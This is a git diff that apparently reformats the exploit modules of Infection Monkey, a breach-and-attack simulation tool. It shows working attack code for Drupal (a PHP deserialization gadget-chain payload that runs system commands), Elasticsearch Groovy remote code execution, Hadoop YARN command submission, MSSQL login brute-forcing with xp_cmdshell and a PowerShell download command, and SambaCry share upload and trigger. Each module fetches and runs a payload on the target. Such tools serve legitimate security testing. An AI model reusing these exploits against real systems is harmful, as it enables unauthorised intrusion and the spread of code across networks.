# noqa: DUO123 if response.status_code == 200: if is_response_cached(response): - LOG.info(f'Found a cached article at: {node_url}, skipping') + LOG.info(f"Found a cached article at: {node_url}, skipping") else: articles.add(lower) lower += 1 @@ -155,20 +164,10 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 def build_exploitability_check_payload(url): payload = { - "_links": { - "type": { - "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" - } - }, - "type": { - "target_id": "article" - }, - "title": { - "value": "My Article" - }, - "body": { - "value": "" - } + "_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}}, + "type": {"target_id": "article"}, + "title": {"value": "My Article"}, + "body": {"value": ""}, } return payload @@ -178,21 +177,17 @@ def build_cmd_execution_payload(base, cmd): "link": [ { "value": "link", - "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" - "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" - "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" - "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" - "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" - "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" - "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" - "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" - "".replace('|size|', str(len(cmd))).replace('|command|', cmd) + "options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000' + 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"' + 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:' + '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";' + 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000' + 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000' + 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"' + 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}' + "".replace("|size|", str(len(cmd))).replace("|command|", cmd), } ], - "_links": { - "type": { - "href": f"{urljoin(base, '/rest/type/shortcut/default')}" - } - } + "_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}}, } return payload diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index dfaffac6a11..ca1c0408b79 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -13,12 +13,18 @@ from common.common_consts.network_consts import ES_SERVICE from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, CMD_PREFIX, DOWNLOAD_TIMEOUT, ID_STRING, - WGET_HTTP_UPLOAD) +from infection_monkey.model import ( + BITSADMIN_CMDLINE_HTTP, + CHECK_COMMAND, + CMD_PREFIX, + DOWNLOAD_TIMEOUT, + ID_STRING, + WGET_HTTP_UPLOAD, +) from infection_monkey.network.elasticfinger import ES_PORT from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -__author__ = 'danielg, VakarisZ' +__author__ = "danielg, VakarisZ" LOG = logging.getLogger(__name__) @@ -26,21 +32,28 @@ class ElasticGroovyExploiter(WebRCE): # attack URLs MONKEY_RESULT_FIELD = "monkey_result" - GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD - JAVA_CMD = \ - GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + GENERIC_QUERY = ( + """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD + ) + JAVA_CMD = ( + GENERIC_QUERY + % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + ) - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Elastic search' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Elastic search" def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) def get_exploit_config(self): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() - exploit_config['dropper'] = True - exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP} + exploit_config["dropper"] = True + exploit_config["url_extensions"] = ["_search?pretty"] + exploit_config["upload_commands"] = { + "linux": WGET_HTTP_UPLOAD, + "windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP, + } return exploit_config def get_open_service_ports(self, port_list, names): @@ -56,7 +69,9 @@ def exploit(self, url, command): try: response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) except requests.ReadTimeout: - LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.") + LOG.error( + "Elastic couldn't upload monkey, because server didn't respond to upload request." + ) return False result = self.get_results(response) if not result: @@ -65,7 +80,7 @@ def exploit(self, url, command): def upload_monkey(self, url, commands=None): result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands) - if 'windows' in self.host.os['type'] and result: + if "windows" in self.host.os["type"] and result: T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() return result @@ -76,14 +91,14 @@ def get_results(self, response): """ try: json_resp = json.loads(response.text) - return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] + return json_resp["hits"]["hits"][0]["fields"][self.MONKEY_RESULT_FIELD] except (KeyError, IndexError): return None def check_if_exploitable(self, url): # Overridden web_rce method that adds CMD prefix for windows command try: - if 'windows' in self.host.os['type']: + if "windows" in self.host.os["type"]: resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND) else: resp = self.exploit(url, CHECK_COMMAND) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 36da1637936..b9dd20159b4 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -15,16 +15,21 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import HADOOP_LINUX_COMMAND, HADOOP_WINDOWS_COMMAND, ID_STRING, MONKEY_ARG +from infection_monkey.model import ( + HADOOP_LINUX_COMMAND, + HADOOP_WINDOWS_COMMAND, + ID_STRING, + MONKEY_ARG, +) -__author__ = 'VakarisZ' +__author__ = "VakarisZ" LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Hadoop' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Hadoop" HADOOP_PORTS = [["8088", False]] # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 @@ -41,13 +46,13 @@ def _exploit_host(self): if not self.vulnerable_urls: return False # We presume hadoop works only on 64-bit machines - if self.host.os['type'] == 'windows': - self.host.os['machine'] = '64' + if self.host.os["type"] == "windows": + self.host.os["machine"] = "64" paths = self.get_monkey_paths() if not paths: return False - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) - command = self.build_command(paths['dest_path'], http_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + command = self.build_command(paths["dest_path"], http_path) if not self.exploit(self.vulnerable_urls[0], command): return False http_thread.join(self.DOWNLOAD_TIMEOUT) @@ -57,35 +62,47 @@ def _exploit_host(self): def exploit(self, url, command): # Get the newly created application id - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"), - timeout=LONG_REQUEST_TIMEOUT) + resp = requests.post( + posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT + ) resp = json.loads(resp.content) - app_id = resp['application-id'] + app_id = resp["application-id"] # Create a random name for our application in YARN - rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]) + rand_name = ID_STRING + "".join( + [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] + ) payload = self.build_payload(app_id, rand_name, command) - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT) + resp = requests.post( + posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT + ) return resp.status_code == 202 def check_if_exploitable(self, url): try: - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"), - timeout=LONG_REQUEST_TIMEOUT) + resp = requests.post( + posixpath.join(url, "ws/v1/cluster/apps/new-application"), + timeout=LONG_REQUEST_TIMEOUT, + ) except requests.ConnectionError: return False return resp.status_code == 200 def build_command(self, path, http_path): # Build command to execute - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, - vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0]) - if 'linux' in self.host.os['type']: + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0] + ) + if "linux" in self.host.os["type"]: base_command = HADOOP_LINUX_COMMAND else: base_command = HADOOP_WINDOWS_COMMAND - return base_command % {"monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} + return base_command % { + "monkey_path": path, + "http_path": http_path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } @staticmethod def build_payload(app_id, name, command): @@ -97,6 +114,6 @@ def build_payload(app_id, name, command): "command": command, } }, - "application-type": "YARN" + "application-type": "YARN", } return payload diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c51acc3b8be..893ee8ca12a 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -8,7 +8,11 @@ from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_monkey_dest_path +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_monkey_dest_path, +) from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.model import DROPPER_ARG @@ -17,33 +21,37 @@ class MSSQLExploiter(HostExploiter): - _EXPLOITED_SERVICE = 'MSSQL' - _TARGET_OS_TYPE = ['windows'] + _EXPLOITED_SERVICE = "MSSQL" + _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 - SQL_DEFAULT_TCP_PORT = '1433' + SQL_DEFAULT_TCP_PORT = "1433" # Temporary file that saves commands for monkey's download and execution. - TMP_FILE_NAME = 'tmp_monkey.bat' + TMP_FILE_NAME = "tmp_monkey.bat" TMP_DIR_PATH = "%temp%\\tmp_monkey_dir" MAX_XP_CMDSHELL_COMMAND_SIZE = 128 - XP_CMDSHELL_COMMAND_START = "xp_cmdshell \"" - XP_CMDSHELL_COMMAND_END = "\"" + XP_CMDSHELL_COMMAND_START = 'xp_cmdshell "' + XP_CMDSHELL_COMMAND_END = '"' EXPLOIT_COMMAND_PREFIX = ">{payload_file_path}" CREATE_COMMAND_SUFFIX = ">{payload_file_path}" - MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \ - "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')" + MONKEY_DOWNLOAD_COMMAND = ( + "powershell (new-object System.Net.WebClient)." + "DownloadFile(^'{http_path}^' , ^'{dst_path}^')" + ) def __init__(self, host): super(MSSQLExploiter, self).__init__(host) self.cursor = None self.monkey_server = None - self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME) + self.payload_file_path = os.path.join( + MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME + ) def _exploit_host(self): """ @@ -52,7 +60,9 @@ def _exploit_host(self): """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) + self.cursor = self.brute_force( + self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list + ) # Create dir for payload self.create_temp_dir() @@ -80,11 +90,15 @@ def run_payload_file(self): return self.run_mssql_command(file_running_command) def create_temp_dir(self): - dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) + dir_creation_command = MSSQLLimitedSizePayload( + command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) + ) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): - suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) + suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format( + payload_file_path=self.payload_file_path + ) tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) @@ -111,9 +125,13 @@ def upload_monkey(self): def remove_temp_dir(self): # Remove temporary dir we stored payload at - tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path)) + tmp_file_removal_command = MSSQLLimitedSizePayload( + command="del {}".format(self.payload_file_path) + ) self.run_mssql_command(tmp_file_removal_command) - tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)) + tmp_dir_removal_command = MSSQLLimitedSizePayload( + command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH) + ) self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self): @@ -131,25 +149,29 @@ def write_download_command_to_payload(self): def get_monkey_launch_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command - monkey_args = build_monkey_commandline(self.host, - get_monkey_depth() - 1, - MSSQLExploiter.SQL_DEFAULT_TCP_PORT, - dst_path) + monkey_args = build_monkey_commandline( + self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path + ) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix) + return MSSQLLimitedSizePayload( + command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix, + ) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) - monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \ - format(http_path=self.monkey_server.http_path, dst_path=dst_path) + monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( + http_path=self.monkey_server.http_path, dst_path=dst_path + ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX - suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) - return MSSQLLimitedSizePayload(command=monkey_download_command, - suffix=suffix, - prefix=prefix) + suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( + payload_file_path=self.payload_file_path + ) + return MSSQLLimitedSizePayload( + command=monkey_download_command, suffix=suffix, prefix=prefix + ) def brute_force(self, host, port, users_passwords_pairs_list): """ @@ -170,10 +192,14 @@ def brute_force(self, host, port, users_passwords_pairs_list): try: # Core steps # Trying to connect - conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) + conn = pymssql.connect( + host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT + ) LOG.info( - 'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format( - host, user, self._config.hash_sensitive_data(password))) + "Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}".format( + host, user, self._config.hash_sensitive_data(password) + ) + ) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() @@ -183,14 +209,20 @@ def brute_force(self, host, port, users_passwords_pairs_list): # Combo didn't work, hopping to the next one pass - LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' - 'aborting brute force'.format(host, port)) - raise FailedExploitationError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + LOG.warning( + "No user/password combo was able to connect to host: {0}:{1}, " + "aborting brute force".format(host, port) + ) + raise FailedExploitationError( + "Bruteforce process failed on host: {0}".format(self.host.ip_addr) + ) class MSSQLLimitedSizePayload(LimitedSizePayload): def __init__(self, command, prefix="", suffix=""): - super(MSSQLLimitedSizePayload, self).__init__(command=command, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, - suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END) + super(MSSQLLimitedSizePayload, self).__init__( + command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, + suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, + ) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 797ff66337b..b0387105ef5 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -8,24 +8,46 @@ import impacket.smbconnection from impacket.nmb import NetBIOSError from impacket.nt_errors import STATUS_SUCCESS -from impacket.smb import (FILE_DIRECTORY_FILE, FILE_NON_DIRECTORY_FILE, FILE_OPEN, FILE_READ_DATA, FILE_SHARE_READ, - FILE_WRITE_DATA, SMB, SMB_DIALECT, SessionError, SMBCommand, SMBNtCreateAndX_Data, - SMBNtCreateAndX_Parameters) -from impacket.smb3structs import (SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2_IL_IMPERSONATION, SMB2_OPLOCK_LEVEL_NONE, - SMB2Create, SMB2Create_Response, SMB2Packet) +from impacket.smb import ( + FILE_DIRECTORY_FILE, + FILE_NON_DIRECTORY_FILE, + FILE_OPEN, + FILE_READ_DATA, + FILE_SHARE_READ, + FILE_WRITE_DATA, + SMB, + SMB_DIALECT, + SessionError, + SMBCommand, + SMBNtCreateAndX_Data, + SMBNtCreateAndX_Parameters, +) +from impacket.smb3structs import ( + SMB2_CREATE, + SMB2_FLAGS_DFS_OPERATIONS, + SMB2_IL_IMPERSONATION, + SMB2_OPLOCK_LEVEL_NONE, + SMB2Create, + SMB2Create_Response, + SMB2Packet, +) from impacket.smbconnection import SMBConnection import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey_by_os +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey_by_os, +) from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.network.tools import get_interface_to_target from infection_monkey.pyinstaller_utils import get_binary_file_path from infection_monkey.telemetry.attack.t1105_telem import T1105Telem -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" LOG = logging.getLogger(__name__) @@ -36,7 +58,7 @@ class SambaCryExploiter(HostExploiter): https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py """ - _TARGET_OS_TYPE = ['linux'] + _TARGET_OS_TYPE = ["linux"] _EXPLOITED_SERVICE = "Samba" # Name of file which contains the monkey's commandline SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" @@ -65,8 +87,10 @@ def _exploit_host(self): return False writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr) - LOG.info("Writable shares and their credentials on host %s: %s" % - (self.host.ip_addr, str(writable_shares_creds_dict))) + LOG.info( + "Writable shares and their credentials on host %s: %s" + % (self.host.ip_addr, str(writable_shares_creds_dict)) + ) self.exploit_info["shares"] = {} for share in writable_shares_creds_dict: @@ -79,16 +103,25 @@ def _exploit_host(self): successfully_triggered_shares = [] for share in writable_shares_creds_dict: - trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share]) + trigger_result = self.get_trigger_result( + self.host.ip_addr, share, writable_shares_creds_dict[share] + ) creds = writable_shares_creds_dict[share] self.report_login_attempt( - trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash']) + trigger_result is not None, + creds["username"], + creds["password"], + creds["lm_hash"], + creds["ntlm_hash"], + ) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) - url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'], - 'host': self.host.ip_addr, - 'port': self.SAMBA_PORT, - 'share_name': share} + url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % { + "username": creds["username"], + "host": self.host.ip_addr, + "port": self.SAMBA_PORT, + "share_name": share, + } self.add_vuln_url(url) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) @@ -97,8 +130,9 @@ def _exploit_host(self): if len(successfully_triggered_shares) > 0: LOG.info( - "Shares triggered successfully on host %s: %s" % ( - self.host.ip_addr, str(successfully_triggered_shares))) + "Shares triggered successfully on host %s: %s" + % (self.host.ip_addr, str(successfully_triggered_shares)) + ) self.add_vuln_port(self.SAMBA_PORT) return True else: @@ -117,8 +151,9 @@ def try_exploit_share(self, share, creds): self.trigger_module(smb_client, share) except (impacket.smbconnection.SessionError, SessionError): LOG.debug( - "Exception trying to exploit host: %s, share: %s, with creds: %s." % ( - self.host.ip_addr, share, str(creds))) + "Exception trying to exploit host: %s, share: %s, with creds: %s." + % (self.host.ip_addr, share, str(creds)) + ) def clean_share(self, ip, share, creds): """ @@ -129,9 +164,14 @@ def clean_share(self, ip, share, creds): """ smb_client = self.connect_to_server(ip, creds) tree_id = smb_client.connectTree(share) - file_list = [self.SAMBACRY_COMMANDLINE_FILENAME, self.SAMBACRY_RUNNER_RESULT_FILENAME, - self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64, - self.SAMBACRY_MONKEY_FILENAME_32, self.SAMBACRY_MONKEY_FILENAME_64] + file_list = [ + self.SAMBACRY_COMMANDLINE_FILENAME, + self.SAMBACRY_RUNNER_RESULT_FILENAME, + self.SAMBACRY_RUNNER_FILENAME_32, + self.SAMBACRY_RUNNER_FILENAME_64, + self.SAMBACRY_MONKEY_FILENAME_32, + self.SAMBACRY_MONKEY_FILENAME_64, + ] for filename in file_list: try: @@ -153,8 +193,9 @@ def get_trigger_result(self, ip, share, creds): tree_id = smb_client.connectTree(share) file_content = None try: - file_id = smb_client.openFile(tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, - desiredAccess=FILE_READ_DATA) + file_id = smb_client.openFile( + tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA + ) file_content = smb_client.readFile(tree_id, file_id) smb_client.closeFile(tree_id, file_id) except (impacket.smbconnection.SessionError, SessionError): @@ -193,16 +234,18 @@ def get_writable_shares_creds_dict(self, ip): def get_credentials_list(self): creds = self._config.get_exploit_user_password_or_hash_product() - creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash} - for user, password, lm_hash, ntlm_hash in creds] + creds = [ + {"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash} + for user, password, lm_hash, ntlm_hash in creds + ] # Add empty credentials for anonymous shares. - creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}) + creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""}) return creds def list_shares(self, smb_client): - shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] + shares = [x["shi1_netname"][:-1] for x in smb_client.listShares()] return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] def is_vulnerable(self): @@ -214,8 +257,8 @@ def is_vulnerable(self): LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr) return False - pattern = re.compile(r'\d*\.\d*\.\d*') - smb_server_name = self.host.services[SMB_SERVICE].get('name') + pattern = re.compile(r"\d*\.\d*\.\d*") + smb_server_name = self.host.services[SMB_SERVICE].get("name") if not smb_server_name: LOG.info("Host: %s refused SMB connection" % self.host.ip_addr) return False @@ -223,27 +266,38 @@ def is_vulnerable(self): pattern_result = pattern.search(smb_server_name) is_vulnerable = False if pattern_result is not None: - samba_version = smb_server_name[pattern_result.start():pattern_result.end()] - samba_version_parts = samba_version.split('.') + samba_version = smb_server_name[pattern_result.start() : pattern_result.end()] + samba_version_parts = samba_version.split(".") if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): is_vulnerable = True elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and ( - samba_version_parts[1] <= "13"): + elif ( + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "4") + and (samba_version_parts[1] <= "13") + ): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and ( - samba_version_parts[1] <= "9"): + elif ( + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "5") + and (samba_version_parts[1] <= "9") + ): is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and ( - samba_version_parts[1] <= "3"): + elif ( + (samba_version_parts[0] == "4") + and (samba_version_parts[1] == "6") + and (samba_version_parts[1] <= "3") + ): is_vulnerable = True else: # If pattern doesn't match we can't tell what version it is. Better try is_vulnerable = True - LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % - (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) + LOG.info( + "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" + % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)) + ) return is_vulnerable @@ -255,27 +309,41 @@ def upload_module(self, smb_client, share): """ tree_id = smb_client.connectTree(share) - with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read) + with self.get_monkey_commandline_file( + self._config.dropper_target_path_linux + ) as monkey_commandline_file: + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read + ) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read) + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read + ) with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read) + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read + ) monkey_bin_32_src_path = get_target_monkey_by_os(False, True) monkey_bin_64_src_path = get_target_monkey_by_os(False, False) with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read) + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read + ) with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: - smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read) - T1105Telem(ScanStatus.USED, - get_interface_to_target(self.host.ip_addr), - self.host.ip_addr, - monkey_bin_64_src_path).send() + smb_client.putFile( + share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read + ) + T1105Telem( + ScanStatus.USED, + get_interface_to_target(self.host.ip_addr), + self.host.ip_addr, + monkey_bin_64_src_path, + ).send() smb_client.disconnectTree(tree_id) def trigger_module(self, smb_client, share): @@ -305,7 +373,7 @@ def trigger_module_by_path(self, smb_client, module_path): self.open_pipe(smb_client, "/" + module_path) except Exception as e: # This is the expected result. We can't tell whether we succeeded or not just by this error code. - if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: return True else: pass @@ -320,7 +388,10 @@ def generate_module_possible_paths(self, share_name): """ sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64] - return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, 